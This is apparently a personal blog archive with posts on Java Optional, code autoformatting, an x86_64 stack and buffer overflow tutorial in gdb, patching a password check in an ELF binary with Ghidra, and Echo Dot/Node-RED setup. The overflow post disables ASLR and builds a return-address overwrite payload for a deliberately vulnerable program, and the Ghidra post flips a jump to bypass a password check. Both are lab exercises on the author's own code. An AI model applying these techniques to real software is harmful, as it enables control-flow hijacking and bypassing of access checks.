public<U> Optional<U> map(Function<? super T, ? extends U> mapper) {
    Objects.requireNonNull(mapper);
    if (!isPresent())
        return empty();
    else {
        return Optional.ofNullable(mapper.apply(value));
    }
}

And we can rewrite our previous code as:

Optional<Person> person = getPersonById("123");
String name = person.map(Person::getName).orElse("Unknown");

In this example, it is not possible to delete isPresent by mistake. There is no risk of nullpointer here.

The null check chain

The previous example has the advantadge of ensuring that the null check is happening. But that is not the only thing that an Optional is good for.

Imagine a scenario where a sequence of function calls needs to be made over the result of each call. Imagine also that all of them may return null.

This is one possible way to deal with this case:

// Get building where Person is located
Person personByIdOrNull = getPersonById("123"); // This time getPersonById returns a value or null
if (personByIdOrNull != null) {
    DetailedInformation detailedInformation = personByIdOrNull.getDetailedInformation();
    if (detailedInformation != null) {
        JobRole jobRole = detailedInformation.getJobRole();
        if (jobRole != null) {
            String building = getBuildingForRole(jobRole);
            if (building != null) {
                return building;
            } else {
                return "n/a";
            }
        } else {
          return "n/a";
        }
    } else {
        return "n/a";
    }
} else {
    return "n/a";
}

Ugly, but gets the job done.

We could, instead, pass the responsibility of checking for null to the Optional class.

The code could look like this:

Optional<Person> person = Optional.ofNullable(getPersonById("123"));
return person
  .map(Person::getDetailedInformation)
  .map(DetailedInformation::getJobRole)
  .map(this::getBuildingForRole)
  .orElse("n/a");

Those two snippets are equivalent, but in the second one the functions that map the values are really emphasized. Those are the actual important bits of this logic.

In the end, the decision to use optionals in Java boils down to the nature of your code and the semantic meaning of null values. If returning nothing is a valid and expected result in your application logic, then optionals are a powerful tool for representing this absence of a value in a clear and structured manner.

They provide not only safety against null pointers, but also utilities to make the code emphasize the important parts, and not null handling.

Of course, for this you should avoid using isPresentGet, and use instead map, flatMap, ifPresent and so on.

Thoughts on autoformatting

2024-04-20 00:00:00 +0000

I am not a fan of automated formatting. Yes, I know the justifications, formatting wars and fights on what is the right or clear way to do it, but, honestly, I don't find those arguments convincing.

Let's talk about the first argument, that formatting one way makes the code clearer to read. It's possible for the code to be formatted ambiguously, leading to confusion about whether certain logic should be executed or not. I have faced these issues, a couple of times in the past. But that is the thing. It was really only a couple of times, even on projects where uniform code formatting wasn't required.

What does happen, and is very common, is hours and hours spent arguing if a curly brackets should come on the same line as the if or on the next one, or if there should be a space between the conditional and the start of the conditional block. Do you know how many times the lack or the inclusion of spaces after the if clause made it harder to read a piece of code? Zero

And in my opinion almost all these small nitpicks comes with almost no improvements on code readability. The way conditionals are chained, time complexity and naming usually weights an order of magnitude more on how much time I will spend understanding the source code.

Which brings us to the second argument, each person has a favorite formatting scheme and not choosing a single "true way" would cause endless fighting and eternal back-and-forth on pull requests.

There is no single way to write a function. There are many equivalent solutions, so, why do we choose to write code the way we do? First reason is, obviously, for it to work. Code needs to do what it is supposed to, efficiently. Certainly, this eliminates many possibilities from our set of potential implementations.

What is left is up to the developer. The goal then is to have the code written in a way that communicates to the person looking at it exactly what motivated it to be that way and what is the goal it tries to achieve. Or, in other words, allow the writer to express themselves to the reader. And that is where imposed auto formatting makes its damage.

For example, let's the say developer wants to point out that something is just boilerplate, it should be all in one line because it is not really an important part of the logic, but the auto format requires it to take a central piece of your function body, which hides the actual important part. Or, if some piece of data is tabular, or have special indentation because it is actually another language in a string literal.

If the fact that the need for the person writing the code to express meaning is more useful than to have some code conventions followed, then the only discussion you will have on Pull Requests should be if the intent is clear for the intended audience (other devs) as it is. And if the answer is "I understand it but I don't like you did not put a space after the if" then obviously nothing needs to be changed.

Buffer overflow on x86_64 tutorial

2022-01-17 00:00:00 +0000

On this post I will use gdb to show how the stack works, what happens when you do a function call and how a user can exploit an unchecked buffer to overwrite the stack.

This tutorial assumes you are using a x86_64 linux pc.

Understanding the stack

The stack is a reserved space in memory where the executable stores local variables, function parameters and the return address for the function caller.

The top of the stack moves in decrements. It is like the opposite of an array.

On a typical x86_64 architecture executable, the top of the stack is stored on the rsp register (Stack Pointer) and the base of the stack is stored on the rbp register (Base Pointer).

We also have the rip (Instruction Pointer), a register that contains the address of the current instruction being executed.

Usually a function will only read and write on the stack inside the range from rsp to rbp (remember that rsp is always smaller than rbp because the stack top is decremented).

But this is not necessarilly true. You can compile c code in a way no checks will be done for stack access. In practice there are protections for this both by the compiler and by the OS that we will need to disable for our example to work.

Let's use gcc and gdb to see what goes on when a function is called.

Start by copying this code:

int c(short n){
        return n + 1;
}

int b(){
        short n = 42;
        return c(n);
}

int a(){
        return b();
}

int main(){
        a();
}

Save it as main.c and then just compile it:

gcc main.c -o main

Let's start debugging it with gdb:

gdb main

To run the executable and stop at the first instruction type start:

(gdb) start
Temporary breakpoint 1 at 0x117b
Starting program: /home/carol/dev/backToBasics/understandingTheStack/main 

Temporary breakpoint 1, 0x000055555555517b in main ()

First, let's check the instructions for the main function using dissasemble:

(gdb) disassemble main
Dump of assembler code for function main:
    0x0000555555555173 <+0>:	endbr64 
    0x0000555555555177 <+4>:	push   %rbp
    0x0000555555555178 <+5>:	mov    %rsp,%rbp
=> 0x000055555555517b <+8>:	mov    $0x0,%eax
    0x0000555555555180 <+13>:	call   0x55555555515f <a>
    0x0000555555555185 <+18>:	mov    $0x0,%eax
    0x000055555555518a <+23>:	pop    %rbp
    0x000055555555518b <+24>:	ret    
End of assembler dump.

The instructions are executed left to right, so:

mov    $0x0,%eax

is copying 0 to the register eax.

Gdb conveniently adds an arrow on the instruction currently on the rip register (Instruction Pointer)

We can see that on instruction +4 the value from the rbp (Base Pointer) is being pushed on the stack. This causes the rsp (Stack Pointer) to be incremented.

Then on +5 the current value for the Stack Pointer is being copied to the Base Pointer

All stack operations will be done from the Base Pointer address downwards.

0x0000555555555178 <+5>:	mov    %rsp,%rbp

We can inspect the values inside those two registers using the x command

(gdb) x $rbp
0x7fffffffdf10:	0x00000000
(gdb) x $rsp
0x7fffffffdf10:	0x00000000

There is nothing interesting going on right now here. Both registers have the same value pointing to the same memory address 0x7fffffffdf10.

We can move on to the next instruction:

(gdb) nexti
0x0000555555555180 in main ()
(gdb) disas main 
Dump of assembler code for function main:
    0x0000555555555173 <+0>:	endbr64 
    0x0000555555555177 <+4>:	push   %rbp
    0x0000555555555178 <+5>:	mov    %rsp,%rbp
    0x000055555555517b <+8>:	mov    $0x0,%eax
=> 0x0000555555555180 <+13>:	call   0x55555555515f <a>
    0x0000555555555185 <+18>:	mov    $0x0,%eax
    0x000055555555518a <+23>:	pop    %rbp
    0x000055555555518b <+24>:	ret    
End of assembler dump.

Finnaly things are going to start getting interesting. We are going to call our first function a().

Take note that the instruction right after call on +18 has an address of 0x0000555555555185.

By the way, disas is an alias to disassemble. ni is an alias to nexti and si is an alias to stepi.

The difference between nexti and stepi is that stepi goes inside the call being made.

That's what we want right now so let's step into the next instruction.

(gdb) stepi
0x000055555555515f in a ()
(gdb) disas a
Dump of assembler code for function a:
=> 0x000055555555515f <+0>:	endbr64 
    0x0000555555555163 <+4>:	push   %rbp
    0x0000555555555164 <+5>:	mov    %rsp,%rbp
    0x0000555555555167 <+8>:	mov    $0x0,%eax
    0x000055555555516c <+13>:	call   0x555555555140 <b>
    0x0000555555555171 <+18>:	pop    %rbp
    0x0000555555555172 <+19>:	ret    
End of assembler dump.

The first thing we see is that we are now inside the instructions for function a

See how on instructions +4 and +5 we do exactly the same thing we did on our main?

That's because, by convention, it is the responsability of the called function to restore the Base Pointer and keep track of the Stack Pointer. So, here the function keeps the Base Pointer for the stack inside the stack itself.

But before the content of the rbp register is pushed on the stack, let's take a look inside the Stack Pointer and the Base Pointer value.

(gdb) x $rbp
0x7fffffffdf10:	0x00000000
(gdb) x $rsp
0x7fffffffdf08:	0x55555185

The rsp value has changed from 0x7fffffffdf10 to 0x7fffffffdf08

That means the stack range from base to stack pointer has size:

0x7fffffffdf10 - 0x7fffffffdf08 = 8 bits

We can use the command x/2x $rsp to print the 2 bytes (8 bits) starting from rsp in hexadecimal.

We start from the rsp since the stack adresses grows in decrements.

(gdb) x/2x $rsp
0x7fffffffdf08:	0x55555185	0x00005555

We are on a system that uses little-endian meaning we need to read the byte from the bigger address first. This gives us:

0x0000555555555185

And if you look back again on the main function that is the address of the instruction right after the call for a().

 
0x0000555555555185 <+18>:	mov    $0x0,%eax

We can conclude then that the call instruction moves the rip to the address of a(), adds the return address to the stack and decrement the rsp so the stack contains the return address.

The fact that the return address is stored inside the stack is what the buffer overflow exploit takes advantage of. We can continue with the execution and come back to this later.

The function being called then updates the Base Pointer position so the return address in the range of the stack the function will manipulate.

We will add a breakpoint right before b() is called, continue the execution and then step into b() and disassemble it:

(gdb) disas a
Dump of assembler code for function a:
=> 0x000055555555515f <+0>:	endbr64 
    0x0000555555555163 <+4>:	push   %rbp
    0x0000555555555164 <+5>:	mov    %rsp,%rbp
    0x0000555555555167 <+8>:	mov    $0x0,%eax
    0x000055555555516c <+13>:	call   0x555555555140 <b>
    0x0000555555555171 <+18>:	pop    %rbp
    0x0000555555555172 <+19>:	ret    
End of assembler dump.
(gdb) break * a+13
Breakpoint 2 at 0x55555555516c
(gdb) continue
Continuing.

Breakpoint 2, 0x000055555555516c in a ()
(gdb) si
0x0000555555555140 in b ()
(gdb) disas b
Dump of assembler code for function b:
=> 0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
    0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.

There is something more being done with the Stack Pointer now

0x0000555555555148 <+8>:	sub    $0x10,%rsp

At this instruction the Stack Pointer is being moved down 0x10 bits, which converting to decimal is 16 bits or 4 bytes.

This is done because local variables are also stored on the stack, and this instruction is reserving space to be used by our variable:

short n = 42;

A short has a size of 2 bytes but the rsp is moved 4 bytes. This is due the data alignment.

At this instruction:

0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)

The number 42 (0x2a in hexadecimal) is being copied to memory at the Base Pointer minus 2.

Then the value is copied from the stack at -0x2(%rbp) to the eax register

On +22, the value from the eax register is copied to the edi register.

As long as there are registers available, parameters are passed inside the registers. So, for c(short n), the value for n is inside the edi register.

If you want to see what happens when there are lots of parameters, see this example on godbolt.

Next, on instruction +24, we call c. 0x000055555555515d should be the call return address.

(gdb) break * b+24
Breakpoint 3 at 0x555555555158
(gdb) continue
Continuing.

Breakpoint 3, 0x0000555555555158 in b ()
(gdb) si
0x0000555555555129 in c ()
(gdb) disas c
Dump of assembler code for function c:
=> 0x0000555555555129 <+0>:	endbr64 
   0x000055555555512d <+4>:	push   %rbp
   0x000055555555512e <+5>:	mov    %rsp,%rbp
   0x0000555555555131 <+8>:	mov    %edi,%eax
   0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
   0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
   0x000055555555513b <+18>:	add    $0x1,%eax
   0x000055555555513e <+21>:	pop    %rbp
   0x000055555555513f <+22>:	ret    
End of assembler dump.

We are now on our last function on the call hierarchy. The first two instructions are the same as before.

Save the original Base Pointer on the stack and copy the Stack Pointer as the new Base Pointer.

Instruction +8 copies the parameter from edi to another register, eax.

We are dealing with a short value (short has 2 bytes) and the register eax has size 16 bits (4 bytes)

The least significant 2 bytes of EAX can be treated as a 16-bit register called AX.

At +10 it copies the value of AX to the stack. At +14 it copies it again to eax and at +18 it adds 1 to eax

The eax register holds the value returned from the function.

Let's put a breakpoint at +21 and look at the stack starting from the rsp until 0x7fffffffdf10, which was the address for the Base Pointer on main()

(gdb) break * c+21
Breakpoint 4 at 0x55555555513e
(gdb) continue
Continuing.

Breakpoint 4, 0x000055555555513e in c ()
(gdb) disas c
Dump of assembler code for function c:
    0x0000555555555129 <+0>:	endbr64 
    0x000055555555512d <+4>:	push   %rbp
    0x000055555555512e <+5>:	mov    %rsp,%rbp
    0x0000555555555131 <+8>:	mov    %edi,%eax
    0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
    0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
    0x000055555555513b <+18>:	add    $0x1,%eax
=> 0x000055555555513e <+21>:	pop    %rbp
    0x000055555555513f <+22>:	ret    
End of assembler dump.
(gdb) x/2x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff

0x7fffffffdf10 − 0x7fffffffded0 = 0x40 , converting to decimal gives 64 bits, divided by 4 results in 16 bytes

(gdb) x/16x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff	0x5555515d	0x00005555
0x7fffffffdee0:	0x00000000	0x00000000	0x55555190	0x002a5555
0x7fffffffdef0:	0xffffdf00	0x00007fff	0x55555171	0x00005555
0x7fffffffdf00:	0xffffdf10	0x00007fff	0x55555185	0x00005555

Fixing for Endianness and reading from low to high address, we can try figuring out what we have on the stack:

0x0000555555555185 -> The return address on the main function
0x00007fffffffdf10 -> The Base Pointer address at main()
0x0000555555555171 -> The return address on a()
0x00007fffffffdf00 -> The Base Pointer address at a()
0x002a -> The local variable at b() with value 42. It occupies only 2 bytes 
0x555555555190 -> Whatever was on memory before we stored 42, 
                  we only care about the least significant 2 bytes, 
                  so this is ignored
0x00000000 -> padding, also ignored
0x00000000 -> padding, also ignored
0x000055555555515d -> The return address on b()
0x00007fffffffdef0  -> The Base Pointer address at b()

Now that we got to the last instructions on the call hierarchy, we can run two more instructions.

Instruction +21 should revert the stack Base Pointer to the one stored at the beginning of the function.

pop will copy the value on top of the stack to rbp and increment rsp. Since the stack wasn't used for anything, it contains the value for the original Base Pointer.

Instruction +22 should use the address at the top of the stack as the next insturction on the rip (Instructon Pointer)

ret is equivalent to: pop register; jmp register;

(gdb) disas
Dump of assembler code for function c:
    0x0000555555555129 <+0>:	endbr64 
    0x000055555555512d <+4>:	push   %rbp
    0x000055555555512e <+5>:	mov    %rsp,%rbp
    0x0000555555555131 <+8>:	mov    %edi,%eax
    0x0000555555555133 <+10>:	mov    %ax,-0x4(%rbp)
    0x0000555555555137 <+14>:	movswl -0x4(%rbp),%eax
    0x000055555555513b <+18>:	add    $0x1,%eax
=> 0x000055555555513e <+21>:	pop    %rbp
    0x000055555555513f <+22>:	ret    
End of assembler dump.
(gdb) x/2x $rbp
0x7fffffffded0:	0xffffdef0	0x00007fff
(gdb) x/2x $rsp
0x7fffffffded0:	0xffffdef0	0x00007fff

At this point both Base Pointer and Stack Pointer have the same value.

(gdb) ni
0x000055555555513f in c ()
(gdb) x/2x $rbp
0x7fffffffdef0:	0xffffdf00	0x00007fff
(gdb) x/2x $rsp
0x7fffffffded8:	0x5555515d	0x00005555

When we pop to rbp the value from the memory address inside Stack Pointer is copied to rbp.

In this case rsp was pointing to 0x7fffffffded0 and on this address the value was 0x7fffffffdef0.

Pop also incemented rsp from 0x7fffffffded0 to 0x7fffffffded8. Remember the stack start is bigger than the top so the stack is now smaller. At the top of the stack we have now 0x000055555555515d.

(gdb) ni
0x000055555555515d in b ()
(gdb) x $rbp
0x7fffffffdef0:	0xffffdf00
(gdb) x $rsp
0x7fffffffdee0:	0x00000000
(gdb) disas
Dump of assembler code for function b:
    0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
=> 0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.

ret on b popped the value from the top of the stack and jumped to the popped address.

The Instruction pointer is now inside b() and is going to call the leave instruction. This is equivalent to:

mov   %rbp, %rsp -> Move the top of the stack to the base
pop   %rbp -> Pop from the stack, this is the original Base Pointer

And looking into our registers:

(gdb) disas
Dump of assembler code for function b:
    0x0000555555555140 <+0>:	endbr64 
    0x0000555555555144 <+4>:	push   %rbp
    0x0000555555555145 <+5>:	mov    %rsp,%rbp
    0x0000555555555148 <+8>:	sub    $0x10,%rsp
    0x000055555555514c <+12>:	movw   $0x2a,-0x2(%rbp)
    0x0000555555555152 <+18>:	movswl -0x2(%rbp),%eax
    0x0000555555555156 <+22>:	mov    %eax,%edi
    0x0000555555555158 <+24>:	call   0x555555555129 <c>
=> 0x000055555555515d <+29>:	leave  
    0x000055555555515e <+30>:	ret    
End of assembler dump.
(gdb) x/2x $rbp
0x7fffffffdef0:	0xffffdf00	0x00007fff
(gdb) x/2x $rsp
0x7fffffffdee0:	0x00000000	0x00000000
(gdb) ni
0x000055555555515e in b ()
(gdb) x/2x $rbp
0x7fffffffdf00:	0xffffdf10	0x00007fff
(gdb) x/2x $rsp
0x7fffffffdef8:	0x55555171	0x00005555

And then return will do the same as it did on c()

The most important thing to notice was that the stack holds both local variables data and the return adresses from function calls.

With this general idea on how the stack works, what goes inside it and how it is used to jump back and forth instructions we can go on to another example.

Rewriting the stack using Buffer Overflow

For this example to easily work we will need to turn off some OS protections.

Don't worry, we will do it in a way that is only temporary. First we need to force the OS to stop randomizing the virtual address so we can reliably reference an address. If Address Space Layout Randomization (ASLR) is on (default) the adressess will be different on each execution.

sudo -i
echo "0" > /proc/sys/kernel/randomize_va_space
echo This should print 0
cat /proc/sys/kernel/randomize_va_space

We will also need to compile with gcc using the flag -fno-stack-protector

This is the code we are going to exploit:

#include <stdio.h>

void unrelated(){
    printf("This should not be called\n");
}

void enterString(){
    char buffer[2];
    printf("Enter two characters:\n");
    scanf("%s", buffer);
    printf("%s\n", buffer);               
}

int main(){
    enterString();
}

It is not doing anything usefull. It asks for two characters, write them into a buffer array and then print it. There is also a function that is not called. For simplicity sake we will exploit the buffer overflow to call that function. Another thing that can also be done is writing a function to be called on the stack itself. This would require a little more work.

Because on our experiment we will not execute the stack, the flag -z execstack is optional. I will keep it just in case you want to try doing it on your own.

Save it as buff.c and compile it with:

gcc -no-pie -fno-stack-protector -z execstack buff.c -o buff

no-pie

z execstack

Then run it:

./buff 
Enter two characters:
ab
ab

And now we run it with gdb. The value on the ascii table for a is 0x61 (hexadecimal) and for b is 0x62.

gdb buff
(gdb) start
Temporary breakpoint 1 at 0x4011b4
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff 

Temporary breakpoint 1, 0x00000000004011b4 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00000000004011ac <+0>:	endbr64 
   0x00000000004011b0 <+4>:	push   %rbp
   0x00000000004011b1 <+5>:	mov    %rsp,%rbp
=> 0x00000000004011b4 <+8>:	mov    $0x0,%eax
   0x00000000004011b9 <+13>:	call   0x40116d 
   0x00000000004011be <+18>:	mov    $0x0,%eax
   0x00000000004011c3 <+23>:	pop    %rbp
   0x00000000004011c4 <+24>:	ret    
End of assembler dump.
(gdb) si
0x00000000004011b9 in main ()
(gdb) si
0x000000000040116d in enterString ()
(gdb) disas
Dump of assembler code for function enterString:
=> 0x000000000040116d <+0>:	endbr64 
   0x0000000000401171 <+4>:	push   %rbp
   0x0000000000401172 <+5>:	mov    %rsp,%rbp
   0x0000000000401175 <+8>:	sub    $0x10,%rsp
   0x0000000000401179 <+12>:	lea    0xe9e(%rip),%rdi        # 0x40201e
   0x0000000000401180 <+19>:	call   0x401050 
   0x0000000000401185 <+24>:	lea    -0x2(%rbp),%rax
   0x0000000000401189 <+28>:	mov    %rax,%rsi
   0x000000000040118c <+31>:	lea    0xea1(%rip),%rdi        # 0x402034
   0x0000000000401193 <+38>:	mov    $0x0,%eax
   0x0000000000401198 <+43>:	call   0x401060 <__isoc99_scanf@plt>
   0x000000000040119d <+48>:	lea    -0x2(%rbp),%rax
   0x00000000004011a1 <+52>:	mov    %rax,%rdi
   0x00000000004011a4 <+55>:	call   0x401050 
   0x00000000004011a9 <+60>:	nop
   0x00000000004011aa <+61>:	leave  
   0x00000000004011ab <+62>:	ret    
End of assembler dump.
(gdb) break * enterString+43
Breakpoint 2 at 0x401198
(gdb) continue
Continuing.
Enter two characters:

Breakpoint 2, 0x0000000000401198 in enterString ()

Before continuing, let's look at the stack. Since we don't really care about the Base Pointer, we print the first 32 bytes from the stack.

(gdb) ni
ab
0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0xffffde00	0x00007fff	0x004011be	0x00000000
0x7fffffffded0:	0x00000000	0x00000000	0xf7dec565	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0xc54d1eb6	0x02450e1b
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb)

This is stack we see for a well behaved input.

See that inside the stack at 0x7fffffffdec0 we have 0x004011be 0x00000000, the address on main() for the Instruction Pointer to return to.

What happens if we type the whole alphabet as the input?

(gdb) start
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 3 at 0x4011b4
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff 

Temporary breakpoint 3, 0x00000000004011b4 in main ()
(gdb) break * enterString+43
Note: breakpoint 2 also set at pc 0x401198.
Breakpoint 4 at 0x401198
(gdb) continue
Continuing.
Enter two characters:

Breakpoint 2, 0x0000000000401198 in enterString ()
(gdb) ni
abcdefghijklmnopqrstuvwxyz
0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0x66656463	0x6a696867	0x6e6d6c6b	0x7271706f
0x7fffffffded0:	0x76757473	0x7a797877	0xf7dec500	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0x129d1190	0x4120e741
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000

If you look again at 0x7fffffffdec0 you will see 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f where the return address used to be.

And looking at an ASCII table you will find out that 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f is the value for fedc jihg nmlk rqpo

What is happening is that scanf is not doing any check so as long we keep giving an input, scanf will keep writing it to the stack, eventually overriding other values. The input is little-endian.

Now, we know we need to replace nmlk rqpo on our input with the address for our unrelated function and keep the Base Pointer at fedc jihg.

Let's find the address for the unrelated function first:

(gdb) disas unrelated
Dump of assembler code for function unrelated:
    0x0000000000401156 <+0>:	endbr64 
    0x000000000040115a <+4>:	push   %rbp
    0x000000000040115b <+5>:	mov    %rsp,%rbp
    0x000000000040115e <+8>:	lea    0xe9f(%rip),%rdi        # 0x402004
    0x0000000000401165 <+15>:	call   0x401050 
    0x000000000040116a <+20>:	nop
    0x000000000040116b <+21>:	pop    %rbp
    0x000000000040116c <+22>:	ret    
End of assembler dump.

0x0000000000401156, so rqpo needs to be 0000 and nmlk to be 0x00401156.

And fedc jihg needs to be 0xffffde00 0x00007fff. Meaning:

c -> \x00
d -> \xde
e -> \xff
f -> \xff
g -> \xff
h -> \x7f
i -> \x00
j -> \x00
k -> \x56
l -> \x11
m -> \x40
n -> \x00
o -> \x00
p -> \x00
q -> \x00
r -> \x00

We can generate this input to a file and pass it to gdb with python 2.

python -c 'print("ab" + "\x00\xde\xff\xff\xff\x7f\x00\x00\x56\x11\x40\x00\x00\x00\x00\x00")' > rewrite

gdb buff
(gdb) disas enterString
Dump of assembler code for function enterString:
    0x000000000040116d <+0>:	endbr64 
    0x0000000000401171 <+4>:	push   %rbp
    0x0000000000401172 <+5>:	mov    %rsp,%rbp
    0x0000000000401175 <+8>:	sub    $0x10,%rsp
    0x0000000000401179 <+12>:	lea    0xe9e(%rip),%rdi        # 0x40201e
    0x0000000000401180 <+19>:	call   0x401050 
    0x0000000000401185 <+24>:	lea    -0x2(%rbp),%rax
    0x0000000000401189 <+28>:	mov    %rax,%rsi
    0x000000000040118c <+31>:	lea    0xea1(%rip),%rdi        # 0x402034
    0x0000000000401193 <+38>:	mov    $0x0,%eax
    0x0000000000401198 <+43>:	call   0x401060 <__isoc99_scanf@plt>
    0x000000000040119d <+48>:	lea    -0x2(%rbp),%rax
    0x00000000004011a1 <+52>:	mov    %rax,%rdi
    0x00000000004011a4 <+55>:	call   0x401050 
    0x00000000004011a9 <+60>:	nop
    0x00000000004011aa <+61>:	leave  
    0x00000000004011ab <+62>:	ret    
End of assembler dump.
(gdb) break * enterString+48
(gdb) run < rewrite
Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff < rewrite
Enter two characters:

Breakpoint 1, 0x000000000040119d in enterString ()
(gdb) x/32x $rsp
0x7fffffffdeb0:	0x00000000	0x00000000	0x00401070	0x62610000
0x7fffffffdec0:	0xffffde00	0x00007fff	0x00401156	0x00000000
0x7fffffffded0:	0x00000000	0x00000000	0xf7dec565	0x00007fff
0x7fffffffdee0:	0xffffdfc8	0x00007fff	0xf7fc7000	0x00000001
0x7fffffffdef0:	0x004011ac	0x00000000	0xffffe2d9	0x00007fff
0x7fffffffdf00:	0x004011d0	0x00000000	0xa5639444	0xe0ff1476
0x7fffffffdf10:	0x00401070	0x00000000	0x00000000	0x00000000
0x7fffffffdf20:	0x00000000	0x00000000	0x00000000	0x00000000
(gdb) continue
Continuing.
ab
This should not be called

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

Success! With our payload 0x7fffffffdec0 contains the return for the unrelated function. When we execute the rest of the code, the message "This should not be called" is printed. This works also by calling the executable directly:

./buff < rewrite                                                                            
Enter two characters:
ab
This should not be called
[1]    167594 segmentation fault (core dumped)  ./buff < rewrite

Links:

This tutorial follows the instructions from:

Patching an elf binary using Ghidra

2022-01-10 00:00:00 +0000

On this post I will give a simple step by step on how to use Ghidra to disassemble an elf binary on linux and patch it so we can bypass an if condition.

First let's write a simple program in c that outputs a message if the arguments matches a certain string:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    if (argc != 2) {
        printf("Please inform the password\n");
        return -1;
    }
    if (strcmp(argv[1], "password") == 0) {
        printf("Correct!\n");
    } else {
        printf("Wrong password\n");
    }
    return 0;
}

Copy and paste this code to a file called main.c then compile it using:

gcc main.c -o myPass

And running the compiled executable should give you these outputs:

➜ ./myPass 
Please inform the password
➜ ./myPass pass
Wrong password
➜ ./myPass password
Correct!

Our goal is to have a Correct message regardless of the password we pass as argument.

The first step is to download and install Ghidra. Ghidra is an open source software reverse engineering (SRE) suite of tools developed by NSA licensed under the Apache-2.0 License.

The Ghidra setup doesn't need installation, just download the tool and run ./ghidraRun

First step is to create a new project so we can import our binary. Just click on "File>New Project" and choose a "Non-shared Project". Give the project any name and press Finish.

Then we can import our executable for analysis. Go to "File>Import file" and find the myPass executable file.

Ghidra will automatically find the format (ELF) and the language (X86:LE:64:default:gcc). Press Ok.

You will also get a small summary with the import result, click ok to continue.

Back to the project, the file will now show on the project tree. Double click on the file icon to open the "Code Browser"

It will the ask you to analyze myPass. Choose yes and then just click on Analyze with all defaul options.

If all went well you should see something like this:

Now let's find the code that checks the password.

Our starting point will be the message shown when we give the wrong password.

Select "Search>Memory" and look for the string "Wrong password"

You can then select the result to navigate where the value is located inside the code. Click on the result and close the window.

From there you can navigate to the actual instruction that references this value by double clicking the XREF link (you may need to scroll go the right to see it).

It should have only a single reference, this is the part of the code we are interested in.

And finally we are able to see where the string is used. Notice that Ghidra was able to disassemble the binary and shows us the reconstructed C code on the Decompile window.

On the right side we can see the x86 instructions. If we click on the conditional inside the Decompile window it point us to the TEST instruction, but we are interested on what is actually done withe the test result.

Under TEST we have a JNZ instruction, meaning Jump if not zero and pointing to the branch that shows the "Wrong Password" message. We need to patch this instruction so we either never go to this branch or we invert the conditional so when the password is incorrect we don't jump.

For the first option we could replace JNZ with a NOP (no operation) and it would simply continue the execution. For this example we will instead switch from JNZ to JZ (jump if zero). This way any password besides "password" will work.

First we right click the instruction and select "Patch Instruction"

We then replace JNZ with JZ

Notice that the code inside the if conditional on the Decompile window has changed.

Now all we need is to export the elf file. Click on "File>Export Program" and choose the format ELF.

You will get a summary of the export when it works. You can now set the executable flag and check that any password will be correct.

➜  chmod u+x myPass    
➜  ./myPass foobar      
Correct!

Connecting my echo dot to a raspberry pi 3

2020-11-05 00:00:00 +0000

Recently I wanted to connect my echo dot 3rd gen to a node-red server inside a raspberry pi 3.

The best solution looks like setting up a nodered server and then configuring it to listen to my echo inside my local network.

There were some issues I've ran into and hopefully this guide is usefull for you.

First, set up the server by following the official guide.

After installing node-red, install the node-red-contrib-amazon-echo pallete.

To do this connect to your node-red instance at http://localhost:1880 an click on the menu icon on the right upper part.

Then choose "Manage pallete", click on the "install" tab and search for node-red-contrib-amazon-echo

Click on install

Inside input you will see two new nodes "amazon echo hub" and "amazon echo device"

The basic setup is one "amazon echo hub" that connects to a "amazon echo device" and the on any other node, for now let's use a common/debug node

For "amazon echo hub" double click to edit properties. Change the port to 8080.

For "amazon echo device" double click to edit properties and give it a name. This will be the name you will call with alexa.

Connect "amazon echo device" to the debug node.

Click on the "deploy" button on the upper part

